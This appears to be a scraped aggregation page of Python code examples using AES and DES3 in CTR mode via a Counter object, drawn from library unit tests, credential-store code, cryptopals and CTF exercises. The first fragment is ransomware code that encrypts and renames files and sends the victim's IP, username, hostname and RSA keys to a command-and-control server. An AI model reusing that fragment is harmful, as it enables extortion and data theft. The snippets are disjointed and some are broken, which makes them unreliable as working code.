                print("File changed from " + file + " to " + file + extension)
            if decrypt and file.endswith(extension):
                modify.modify_file_inplace(file, crypt.encrypt)
                file_original = os.path.splitext(file)[0]
                os.rename(file, file_original)
                print("File changed from " + file + " to " + file_original)
            
    if encrypt: 
        # Exfiltrate encrypted key to C2
        def connector():
            server = socket.socket(socket.AF_INET)
            server.settimeout(10)
            try:
                # Send Key
                server.connect((host, port))
                msg = '%s$%s$%s$%s$%s$%s' % (
                    getlocalip(), platform.system(), SERVER_PRIVATE_RSA_KEY, SERVER_PUBLIC_RSA_KEY, getpass.getuser(), platform.node())
                server.send(msg.encode('utf-8'))

                # if plt == "Windows"
                main = mainwindow(encrypted_key_b64)
                main.mainloop()
            except Exception as e:
                # if plt == "Windows"
                # Do not send key, encrypt anyway.
                main = mainwindow(encrypted_key_b64)
                main.mainloop()
                pass
        try:
            connector()
        except KeyboardInterrupt:
            sys.exit(0)

    # This wipes the key out of memory
    # to avoid recovery by third party tools
    for _ in range(100):
        #key = random(32)
        pass
Esempio n. 32
0
            keyFile = open('keyFile', 'r')
            keyFile.write(key)
            key = keyFile.read().split('\n')
            key = ''.join(key)

            if key1 == key:
                c = Counter.new(128)
                crypto = AES.new(key, AES.MODE_CTR, counter = c)
                decryptFiles = crypto.decrypt

                for element in list:
                    encryptADecrypt(element, decryptFiles)


    else:
        c = Counter.new(128)
        crypto = AES.new(key, AES.MODE_CTR, counter = c)
        keyFile = open('keyFile', 'w+')
        keyFile.write(key)
        keyFile.close()
        cryptFiles = crypto.encrypt

        for element in list:
            encryptADecrypt(element, cryptFiles)


def main():
    #checkInternet()
    #discover(hashComputer)
    #getHash()
Esempio n. 33
0
def cipher_ctr(key, nonce):
    counter = Counter.new(BLOCKLEN * 8, initial_value=nonce)
    return AES.new(key, AES.MODE_CTR, counter=counter)
Esempio n. 34
0
 def _make_cipher(self, iv=None):
     """Construct a new AES object every time the method is invoked"""
     iv = iv or get_random_bytes(16)
     ctr = Counter.new(128, initial_value=long(iv.encode('hex'), 16))
     return AES.new(self._key, AES.MODE_CTR, counter=ctr), iv
Esempio n. 35
0
 def runTest(self):
     for pt, ct, key, prefix in self.bindata:
         counter = Counter.new(32, prefix=prefix)
         cipher = AES.new(key, AES.MODE_CTR, counter=counter)
         result = cipher.encrypt(pt)
         self.assertEqual(hexlify(ct), hexlify(result))
Esempio n. 36
0
class CtrTests(unittest.TestCase):

    key_128 = get_tag_random("key_128", 16)
    key_192 = get_tag_random("key_192", 24)
    nonce_32 = get_tag_random("nonce_32", 4)
    nonce_64 = get_tag_random("nonce_64", 8)
    ctr_64 = Counter.new(32, prefix=nonce_32)
    ctr_128 = Counter.new(64, prefix=nonce_64)

    def test_loopback_128(self):
        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        pt = get_tag_random("plaintext", 16 * 100)
        ct = cipher.encrypt(pt)

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        pt2 = cipher.decrypt(ct)
        self.assertEqual(pt, pt2)

    def test_loopback_64(self):
        cipher = DES3.new(self.key_192, DES3.MODE_CTR, counter=self.ctr_64)
        pt = get_tag_random("plaintext", 8 * 100)
        ct = cipher.encrypt(pt)

        cipher = DES3.new(self.key_192, DES3.MODE_CTR, counter=self.ctr_64)
        pt2 = cipher.decrypt(ct)
        self.assertEqual(pt, pt2)

    def test_invalid_counter_parameter(self):
        # Counter object is required for ciphers with short block size
        self.assertRaises(TypeError, DES3.new, self.key_192, AES.MODE_CTR)
        # Positional arguments are not allowed (Counter must be passed as
        # keyword)
        self.assertRaises(TypeError, AES.new, self.key_128, AES.MODE_CTR, self.ctr_128)

    def test_nonce_attribute(self):
        # Nonce attribute is the prefix passed to Counter (DES3)
        cipher = DES3.new(self.key_192, DES3.MODE_CTR, counter=self.ctr_64)
        self.assertEqual(cipher.nonce, self.nonce_32)

        # Nonce attribute is the prefix passed to Counter (AES)
        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        self.assertEqual(cipher.nonce, self.nonce_64)

        # Nonce attribute is not defined if suffix is used in Counter
        counter = Counter.new(64, prefix=self.nonce_32, suffix=self.nonce_32)
        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        self.assertFalse(hasattr(cipher, "nonce"))

    def test_nonce_parameter(self):
        # Nonce parameter becomes nonce attribute
        cipher1 = AES.new(self.key_128, AES.MODE_CTR, nonce=self.nonce_64)
        self.assertEqual(cipher1.nonce, self.nonce_64)

        counter = Counter.new(64, prefix=self.nonce_64, initial_value=0)
        cipher2 = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        self.assertEqual(cipher1.nonce, cipher2.nonce)

        pt = get_tag_random("plaintext", 65536)
        self.assertEqual(cipher1.encrypt(pt), cipher2.encrypt(pt))

        # Nonce is implicitly created (for AES) when no parameters are passed
        nonce1 = AES.new(self.key_128, AES.MODE_CTR).nonce
        nonce2 = AES.new(self.key_128, AES.MODE_CTR).nonce
        self.assertNotEqual(nonce1, nonce2)
        self.assertEqual(len(nonce1), 8)

        # Nonce can be zero-length
        cipher = AES.new(self.key_128, AES.MODE_CTR, nonce=b"")
        self.assertEqual(b"", cipher.nonce)
        cipher.encrypt(b'0'*300)

        # Nonce and Counter are mutually exclusive
        self.assertRaises(TypeError, AES.new, self.key_128, AES.MODE_CTR,
                          counter=self.ctr_128, nonce=self.nonce_64)

    def test_initial_value_parameter(self):
        # Test with nonce parameter
        cipher1 = AES.new(self.key_128, AES.MODE_CTR,
                          nonce=self.nonce_64, initial_value=0xFFFF)
        counter = Counter.new(64, prefix=self.nonce_64, initial_value=0xFFFF)
        cipher2 = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        pt = get_tag_random("plaintext", 65536)
        self.assertEqual(cipher1.encrypt(pt), cipher2.encrypt(pt))

        # Test without nonce parameter
        cipher1 = AES.new(self.key_128, AES.MODE_CTR,
                          initial_value=0xFFFF)
        counter = Counter.new(64, prefix=cipher1.nonce, initial_value=0xFFFF)
        cipher2 = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        pt = get_tag_random("plaintext", 65536)
        self.assertEqual(cipher1.encrypt(pt), cipher2.encrypt(pt))

        # Initial_value and Counter are mutually exclusive
        self.assertRaises(TypeError, AES.new, self.key_128, AES.MODE_CTR,
                          counter=self.ctr_128, initial_value=0)

    def test_initial_value_bytes_parameter(self):
        # Same result as when passing an integer
        cipher1 = AES.new(self.key_128, AES.MODE_CTR,
                          nonce=self.nonce_64,
                          initial_value=b"\x00"*6+b"\xFF\xFF")
        cipher2 = AES.new(self.key_128, AES.MODE_CTR,
                          nonce=self.nonce_64, initial_value=0xFFFF)
        pt = get_tag_random("plaintext", 65536)
        self.assertEqual(cipher1.encrypt(pt), cipher2.encrypt(pt))

        # Fail if the iv is too large
        self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                          initial_value=b"5"*17)
        self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                          nonce=self.nonce_64, initial_value=b"5"*9)

        # Fail if the iv is too short
        self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                          initial_value=b"5"*15)
        self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                          nonce=self.nonce_64, initial_value=b"5"*7)

    def test_iv_with_matching_length(self):
        self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                          counter=Counter.new(120))
        self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                          counter=Counter.new(136))

    def test_block_size_128(self):
        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        self.assertEqual(cipher.block_size, AES.block_size)

    def test_block_size_64(self):
        cipher = DES3.new(self.key_192, DES3.MODE_CTR, counter=self.ctr_64)
        self.assertEqual(cipher.block_size, DES3.block_size)

    def test_unaligned_data_128(self):
        plaintexts = [ b"7777777" ] * 100

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        ciphertexts = [ cipher.encrypt(x) for x in plaintexts ]
        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        self.assertEqual(b"".join(ciphertexts), cipher.encrypt(b"".join(plaintexts)))

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        ciphertexts = [ cipher.encrypt(x) for x in plaintexts ]
        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        self.assertEqual(b"".join(ciphertexts), cipher.encrypt(b"".join(plaintexts)))

    def test_unaligned_data_64(self):
        plaintexts = [ b"7777777" ] * 100
        cipher = DES3.new(self.key_192, AES.MODE_CTR, counter=self.ctr_64)
        ciphertexts = [ cipher.encrypt(x) for x in plaintexts ]
        cipher = DES3.new(self.key_192, AES.MODE_CTR, counter=self.ctr_64)
        self.assertEqual(b"".join(ciphertexts), cipher.encrypt(b"".join(plaintexts)))

        cipher = DES3.new(self.key_192, AES.MODE_CTR, counter=self.ctr_64)
        ciphertexts = [ cipher.encrypt(x) for x in plaintexts ]
        cipher = DES3.new(self.key_192, AES.MODE_CTR, counter=self.ctr_64)
        self.assertEqual(b"".join(ciphertexts), cipher.encrypt(b"".join(plaintexts)))

    def test_unknown_parameters(self):
        self.assertRaises(TypeError, AES.new, self.key_128, AES.MODE_CTR,
                          7, counter=self.ctr_128)
        self.assertRaises(TypeError, AES.new, self.key_128, AES.MODE_CTR,
                          counter=self.ctr_128, unknown=7)
        # But some are only known by the base cipher (e.g. use_aesni consumed by the AES module)
        AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128, use_aesni=False)

    def test_null_encryption_decryption(self):
        for func in "encrypt", "decrypt":
            cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
            result = getattr(cipher, func)(b"")
            self.assertEqual(result, b"")

    def test_either_encrypt_or_decrypt(self):
        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        cipher.encrypt(b"")
        self.assertRaises(TypeError, cipher.decrypt, b"")

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=self.ctr_128)
        cipher.decrypt(b"")
        self.assertRaises(TypeError, cipher.encrypt, b"")

    def test_wrap_around(self):
        # Counter is only 8 bits, so we can only encrypt/decrypt 256 blocks (=4096 bytes)
        counter = Counter.new(8, prefix=bchr(9) * 15)
        max_bytes = 4096

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        cipher.encrypt(b'9' * max_bytes)
        self.assertRaises(OverflowError, cipher.encrypt, b'9')

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        self.assertRaises(OverflowError, cipher.encrypt, b'9' * (max_bytes + 1))

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        cipher.decrypt(b'9' * max_bytes)
        self.assertRaises(OverflowError, cipher.decrypt, b'9')

        cipher = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        self.assertRaises(OverflowError, cipher.decrypt, b'9' * (max_bytes + 1))

    def test_bytearray(self):
        data = b"1" * 16
        iv = b"\x00" * 6 + b"\xFF\xFF"

        # Encrypt
        cipher1 = AES.new(self.key_128, AES.MODE_CTR,
                          nonce=self.nonce_64,
                          initial_value=iv)
        ref1 = cipher1.encrypt(data)

        cipher2 = AES.new(self.key_128, AES.MODE_CTR,
                          nonce=bytearray(self.nonce_64),
                          initial_value=bytearray(iv))
        ref2 = cipher2.encrypt(bytearray(data))

        self.assertEqual(ref1, ref2)
        self.assertEqual(cipher1.nonce, cipher2.nonce)

        # Decrypt
        cipher3 = AES.new(self.key_128, AES.MODE_CTR,
                          nonce=self.nonce_64,
                          initial_value=iv)
        ref3 = cipher3.decrypt(data)

        cipher4 = AES.new(self.key_128, AES.MODE_CTR,
                          nonce=bytearray(self.nonce_64),
                          initial_value=bytearray(iv))
        ref4 = cipher4.decrypt(bytearray(data))

        self.assertEqual(ref3, ref4)

    def test_very_long_data(self):
        cipher = AES.new(b'A' * 32, AES.MODE_CTR, nonce=b'')
        ct = cipher.encrypt(b'B' * 1000000)
        digest = SHA256.new(ct).hexdigest()
        self.assertEqual(digest, "96204fc470476561a3a8f3b6fe6d24be85c87510b638142d1d0fb90989f8a6a6")

    def test_output_param(self):

        pt = b'5' * 16
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        ct = cipher.encrypt(pt)

        output = bytearray(16)
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        res = cipher.encrypt(pt, output=output)
        self.assertEqual(ct, output)
        self.assertEqual(res, None)
        
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        res = cipher.decrypt(ct, output=output)
        self.assertEqual(pt, output)
        self.assertEqual(res, None)

    def test_output_param_memoryview(self):
        
        pt = b'5' * 16
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        ct = cipher.encrypt(pt)

        output = memoryview(bytearray(16))
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        cipher.encrypt(pt, output=output)
        self.assertEqual(ct, output)
        
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        cipher.decrypt(ct, output=output)
        self.assertEqual(pt, output)

    def test_output_param_neg(self):

        pt = b'5' * 16
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        ct = cipher.encrypt(pt)

        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        self.assertRaises(TypeError, cipher.encrypt, pt, output=b'0'*16)
        
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        self.assertRaises(TypeError, cipher.decrypt, ct, output=b'0'*16)

        shorter_output = bytearray(15)
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        self.assertRaises(ValueError, cipher.encrypt, pt, output=shorter_output)
        cipher = AES.new(b'4'*16, AES.MODE_CTR, nonce=self.nonce_64)
        self.assertRaises(ValueError, cipher.decrypt, ct, output=shorter_output)

    import sys
    if sys.version[:3] == "2.6":
        del test_output_param_memoryview
Esempio n. 37
0
 def test_iv_with_matching_length(self):
     self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                       counter=Counter.new(120))
     self.assertRaises(ValueError, AES.new, self.key_128, AES.MODE_CTR,
                       counter=Counter.new(136))
Esempio n. 38
0
def decrypt(encrypted_msg, nonce, key):
	ctr = Counter.new(128, initial_value=int_of_string(nonce))
	aes = AES.new(key, AES.MODE_CTR, counter=ctr)
	decrypted = aes.decrypt(encrypted_msg)
	print "Original message: " + decrypted
	return decrypted
Esempio n. 39
0
File: main.py Progetto: eloymg/one
 def __cipher_AES(nonce):
     key = b'Very long and co'
     ctr = Counter.new(128, initial_value=int(nonce))
     cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
     return cipher
Esempio n. 40
0
def getSecret(name,
              version="",
              region=None,
              table="credential-store",
              context=None):
    '''
    fetch and decrypt the secret called `name`
    '''
    if not context:
        context = {}

    dynamodb = boto3.resource('dynamodb', region_name=region)
    secrets = dynamodb.Table(table)

    if version == "":
        # do a consistent fetch of the credential with the highest version
        response = secrets.query(
            Limit=1,
            ScanIndexForward=False,
            ConsistentRead=True,
            KeyConditionExpression=boto3.dynamodb.conditions.Key("name").eq(
                name))
        if response["Count"] == 0:
            raise ItemNotFound("Item {'name': '%s'} couldn't be found." % name)
        material = response["Items"][0]
    else:
        response = secrets.get_item(Key={"name": name, "version": version})
        if "Item" not in response:
            raise ItemNotFound(
                "Item {'name': '%s', 'version': '%s'} couldn't be found." %
                (name, version))
        material = response["Item"]

    kms = boto3.client('kms', region_name=region)
    # Check the HMAC before we decrypt to verify ciphertext integrity
    try:
        kms_response = kms.decrypt(CiphertextBlob=b64decode(material['key']),
                                   EncryptionContext=context)
    except botocore.exceptions.ClientError as e:
        if e.response["Error"]["Code"] == "InvalidCiphertextException":
            if context is None:
                msg = (
                    "Could not decrypt hmac key with KMS. The credential may "
                    "require that an encryption context be provided to decrypt "
                    "it.")
            else:
                msg = ("Could not decrypt hmac key with KMS. The encryption "
                       "context provided may not match the one used when the "
                       "credential was stored.")
        else:
            msg = "Decryption error %s" % e
        raise KmsError(msg)
    except Exception as e:
        raise KmsError("Decryption error %s" % e)
    key = kms_response['Plaintext'][:32]
    hmac_key = kms_response['Plaintext'][32:]
    hmac = HMAC(hmac_key,
                msg=b64decode(material['contents']),
                digestmod=SHA256)
    if hmac.hexdigest() != material['hmac']:
        raise IntegrityError("Computed HMAC on %s does not match stored HMAC" %
                             name)
    dec_ctr = Counter.new(128)
    decryptor = AES.new(key, AES.MODE_CTR, counter=dec_ctr)
    plaintext = decryptor.decrypt(b64decode(
        material['contents'])).decode("utf-8")
    return plaintext
Esempio n. 41
0
 def decrypt( self, enc ):
     enc = base64.b64decode(enc)
     iv = enc[:16]
     ctr = Counter.new(128)
     cipher = AES.new(self.key, AES.MODE_CTR, counter = ctr )
     return unpad(cipher.decrypt( enc[16:]))
 def keepData(self, token, spaID, socialNetwork):
     cipher = AES.new(self._tokenSecret,
                      AES.MODE_CTR,
                      counter=Counter.new(128))
     token = cipher.decrypt(base64.urlsafe_b64decode(token))
     DataServer.keepData(self, token, spaID, socialNetwork)
Esempio n. 43
0
 def __generatectr(self):
     return Counter.new(128)
Esempio n. 44
0
    print "  key= %s" % questions[i]['key']
    print "  msg= %s" % questions[i]['msg']

    mode = questions[i]['mode']
    key = questions[i]['key'].decode('hex')
    msg = questions[i]['msg'].decode('hex')

    if mode == 'CBC':
        mode = AES.MODE_CBC
        obj = AES.new(key, mode, msg[:16])
        print obj.decrypt(msg[16:])
    elif mode == 'CTR':
        mode = AES.MODE_CTR
        iv = int(questions[i]['msg'][:32], 16)
        print "CTR IV: %d  - " % iv, iv
        ctr = Counter.new(nbits=128, initial_value=iv)
        obj = AES.new(key, mode, '', ctr)
        print obj.decrypt(msg[16:])

exit()

key = key_hex.decode('hex')

m1 = "attack at dawn"
m2 = "attack at dusk"
m1_hex = map(hex, map(ord, m1))
m1_int = map(ord, m1)
m2_int = map(ord, m2)

c1_str = "09e1c5f70a65ac519458e7e53f36"
Esempio n. 45
0
 def _reset(self, nonce):
     self.counter = Counter.new(nbits=64, prefix=nonce, initial_value=0, little_endian=False)
Esempio n. 46
0
def encrypt_aes_ctr(value, key, iv):
    ctr = Counter.new(128, initial_value=iv, allow_wraparound=True)
    encryptor = AES.new(key, AES.MODE_CTR, counter=ctr)
    ciphertext = encryptor.encrypt(value)
    return ciphertext
Esempio n. 47
0
            elif mode == 'OFB':
                iv = os.urandom(16)
                plaintext = [ os.urandom(16) for x in xrange(0, test) ]

                kaes = KAES.new(key, KAES.MODE_OFB, IV = iv)
                kaes2 = KAES.new(key, KAES.MODE_OFB, IV = iv)

            elif mode == 'CTR':
                text_length = [None, 3, 16, 127, 128, 129, 1500, 10000, 100000, 10001, 10002, 10003, 10004, 10005, 10006, 10007, 10008][test]
                if test < 6:
                    plaintext = [ os.urandom(text_length) ]
                else:
                    plaintext = [ os.urandom(text_length) for x in xrange(0, test) ]

                kaes = KAES.new(key, KAES.MODE_CTR, counter = KCounter.new(128, initial_value = 0))
                kaes2 = KAES.new(key, KAES.MODE_CTR, counter = KCounter.new(128, initial_value = 0))

            count += 1

            kenc = [kaes.encrypt(p) for p in plaintext]

            iv_enc = None
            if iv:
                iv_enc = NoIndent([ord(x) for x in iv])
            Tests.append(dict(
                encrypted = [NoIndent([ord(x) for x in chunk]) for chunk in kenc],
                iv = iv_enc,
                key = NoIndent([ord(x) for x in key]),
                modeOfOperation = mode.lower(),
                plaintext = [NoIndent([ord(x) for x in chunk]) for chunk in plaintext],
Esempio n. 48
0
def encrypt(plaintext):
    cipher = AES.new(KEY, AES.MODE_CTR, counter=Counter.new(128))
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()
Esempio n. 49
0
 def seek(self, offset):
     self.ctr = Counter.new(64,
                            prefix=self.nonce[0:8],
                            initial_value=(offset >> 4))
     self.aes = AES.new(self.key, AES.MODE_CTR, counter=self.ctr)
key = randomKey()

# File for challenge 19:
# https://cryptopals.com/sets/3/challenges/19
# File for challenge 20:
# https://cryptopals.com/static/challenge-data/20.txt
with open("input.txt") as file:
	plaintext = file.readlines()
	length = len(plaintext) - 1

ciphertext = []
maximLength = 0

# Encrypting the lines using the same counter each time
for i in range(length):
	ctr = Counter.new(nbits=64,  prefix='\x00\x00\x00\x00\x00\x00\x00\x00', initial_value=0, little_endian=True)
	cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
	plaintext[i] = plaintext[i][:len(plaintext[i])]
	plaintext[i] = base64.b64decode(plaintext[i])
	ciphertext.append(cipher.encrypt(plaintext[i]))
	if len(plaintext[i]) > maximLength:
		maximLength = len(plaintext[i])

# We will use a similar approach as in the repeating XOR key
# aka the Vigenere cipher
transposed = [''] * maximLength
key = []
for i in range(len(ciphertext)):
	for j in range(len(ciphertext[i])):
		transposed[j] += ciphertext[i][j]
Esempio n. 51
0
def decrypt_aes_ctr(ciphertext, key, iv):
    ctr = Counter.new(128, initial_value=iv, allow_wraparound=True)
    encryptor = AES.new(key, AES.MODE_CTR, counter=ctr)
    return encryptor.decrypt(ciphertext)
Esempio n. 52
0
    """
    Inialise a new AES cipher object in CTR mode. Decrypt the
    ciphertext using the key, and remove the padding.
    Return the plaintext.
    """
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
    padded_plaintext = cipher.encrypt(ciphertext)
    plaintext = remove_padding(padded_plaintext, block_length)
    return plaintext


if __name__ == '__main__':
    key = generate_aes_key(KEY_SIZE)
    ptxt = CONST_PLAINTEXT.encode()
    ecb_c = aes_ecb_encryption(ptxt, key, BLOCK_SIZE)
    assert (ecb_c != ptxt)
    ecb_p = aes_ecb_decryption(ecb_c, key, BLOCK_SIZE)
    assert (ecb_p == ptxt)

    cbc_c = aes_cbc_encryption(ptxt, key, BLOCK_SIZE)
    assert (cbc_c != ptxt)
    cbc_p = aes_cbc_decryption(cbc_c, key, BLOCK_SIZE)
    assert (cbc_p == ptxt)

    ctr = Counter.new(128)
    ctr_d = Counter.new(128)
    ctr_c = aes_ctr_encryption(ptxt, key, BLOCK_SIZE, ctr)
    assert (ctr_c != ptxt)
    ctr_p = aes_ctr_decryption(ctr_c, key, BLOCK_SIZE, ctr_d)
    assert (ctr_p == ptxt)
Esempio n. 53
0
    #decryption for each block, m[i] = D(k, c[i]) ^ m[i-1]
    for i in range(len(cbcCipherText) // 16 - 1):
        plaintext += xorb(aes.decrypt(cipherBlocks[i]), cipherBlocks[i - 1])

    plaintext = plaintext[:-plaintext[-1]]

    print('The plaintext derived using the CBC implementation is ' + '\"' +
          plaintext.decode() + '\"')

for i in range(len(ctrCiphers)):

    ctrKey = bytes.fromhex(ctrCiphers[i][0])
    ctrCipherText = bytes.fromhex(ctrCiphers[i][1])
    ctrIV = ctrCipherText[:16]
    ctrCipherText = ctrCipherText[16:]
    ctr = Counter.new(128, initial_value=bytes_to_long(ctrIV))
    aes = AES.new(ctrKey, AES.MODE_CTR, counter=ctr)
    plaintext = aes.decrypt(ctrCipherText)
    print('The plain text derived using AES CTR library  is ' + '\"' +
          plaintext.decode() + '\"')

    #AES implemetation using ECB
    aes = AES.new(ctrKey, AES.MODE_ECB)
    plaintext = bytes()
    cipherBlocks = [
        ctrCipherText[i:i + 16] for i in range(0, len(ctrCipherText), 16)
    ]
    ctr = ctrIV.hex()
    ctr = int(ctr, 16)
    for j in range(len(cipherBlocks)):
        # creating a stream cipher andperforming XOR while incrementing counter
Esempio n. 54
0
import zlib
import os

from Crypto.Cipher import AES
from Crypto.Util import Counter

ENCRYPT_KEY = bytes.fromhex(
    '0000000000000000000000000000000000000000000000000000000000000000')
# Determine this key.
# Character set: lowercase letters and underscore
PROBLEM_KEY = 'not_the_flag'

#AES.new(ENCRYPT_KEY, AES.MODE_CTR, counter=Counter.new(64, prefix=os.urandom(8))).encrypt(zlib.compress(data))


def encrypt(data, ctr):
    return AES.new(ENCRYPT_KEY, AES.MODE_CTR,
                   counter=ctr).encrypt(zlib.compress(data))


while True:
    f = input("Encrypting service\n")
    if len(f) < 20:
        continue
    enc = encrypt(bytes((PROBLEM_KEY + f).encode('utf-8')),
                  Counter.new(64, prefix=os.urandom(8)))
    print("%s%s" % (enc, chr(len(enc))))
Esempio n. 55
0
def get_aesctr_cipher(key):
   ctr = Counter.new(128, initial_value=0)
   cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
   return cipher
Esempio n. 56
0
print( 'Cifrando con DES modo de operación CBC' )
print( 'Texto original: {}' .format( plaintext ) )
print( 'key: {}' .format( key ) )
print( 'Texto cifrado: {}' .format( msg  ) )

#decipher
decipher = DES3.new( key=key , mode=DES3.MODE_CBC , iv=iv )
decrypt_msg = decipher.decrypt( msg )
print( 'Texto decifrado: {} ' .format( decrypt_msg.decode('UTF-8') ) )

#CTR mode

#cipher
plaintext = b'Cifrando con triple DES CTR mode'
nonce = Random.new().read(int(DES3.block_size/2))
ctr = Counter.new(DES3.block_size*4, prefix=nonce)
cipher = DES3.new( key=key , mode=DES3.MODE_CTR , counter=ctr )
msg = cipher.encrypt( plaintext )
print( 'Cifrando con DES modo de operación CTR' )
print( 'Texto original: {}' .format( plaintext ) )
print( 'key: {}' .format( key ) )
print( 'Texto cifrado: {}' .format( msg  ) )

#decipher
decipher = DES3.new( key=key , mode=DES3.MODE_CTR , counter=ctr )
decrypt_msg = decipher.decrypt( msg )
print( 'Texto decifrado: {} ' .format( decrypt_msg.decode('UTF-8') ) )

#CFB mode

#cipher
Esempio n. 57
0
 def create_aes_ctr(key, iv):
     ctr = Counter.new(128, initial_value=iv)
     return AES.new(key, AES.MODE_CTR, counter=ctr)
Esempio n. 58
0
 def update_ctr(self, off):
     self.ctr = Counter.new(
         64,
         prefix=self.nonce,
         initial_value=((self.section_offset + off) >> 4))
     self.cipher = AES.new(self.key, AES.MODE_CTR, counter=self.ctr)
Esempio n. 59
0
def de_AES_CTR(key, encrypted):
    ctr = Counter.new(128)
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
    decrypted = cipher.decrypt(encrypted)
    decrypted = decrypted[:len(decrypted) -
                          int(decrypted[-1].encode('hex'), 16)]
Esempio n. 60
-1
    def test_nonce_parameter(self):
        # Nonce parameter becomes nonce attribute
        cipher1 = AES.new(self.key_128, AES.MODE_CTR, nonce=self.nonce_64)
        self.assertEqual(cipher1.nonce, self.nonce_64)

        counter = Counter.new(64, prefix=self.nonce_64, initial_value=0)
        cipher2 = AES.new(self.key_128, AES.MODE_CTR, counter=counter)
        self.assertEqual(cipher1.nonce, cipher2.nonce)

        pt = get_tag_random("plaintext", 65536)
        self.assertEqual(cipher1.encrypt(pt), cipher2.encrypt(pt))

        # Nonce is implicitly created (for AES) when no parameters are passed
        nonce1 = AES.new(self.key_128, AES.MODE_CTR).nonce
        nonce2 = AES.new(self.key_128, AES.MODE_CTR).nonce
        self.assertNotEqual(nonce1, nonce2)
        self.assertEqual(len(nonce1), 8)

        # Nonce can be zero-length
        cipher = AES.new(self.key_128, AES.MODE_CTR, nonce=b"")
        self.assertEqual(b"", cipher.nonce)
        cipher.encrypt(b'0'*300)

        # Nonce and Counter are mutually exclusive
        self.assertRaises(TypeError, AES.new, self.key_128, AES.MODE_CTR,
                          counter=self.ctr_128, nonce=self.nonce_64)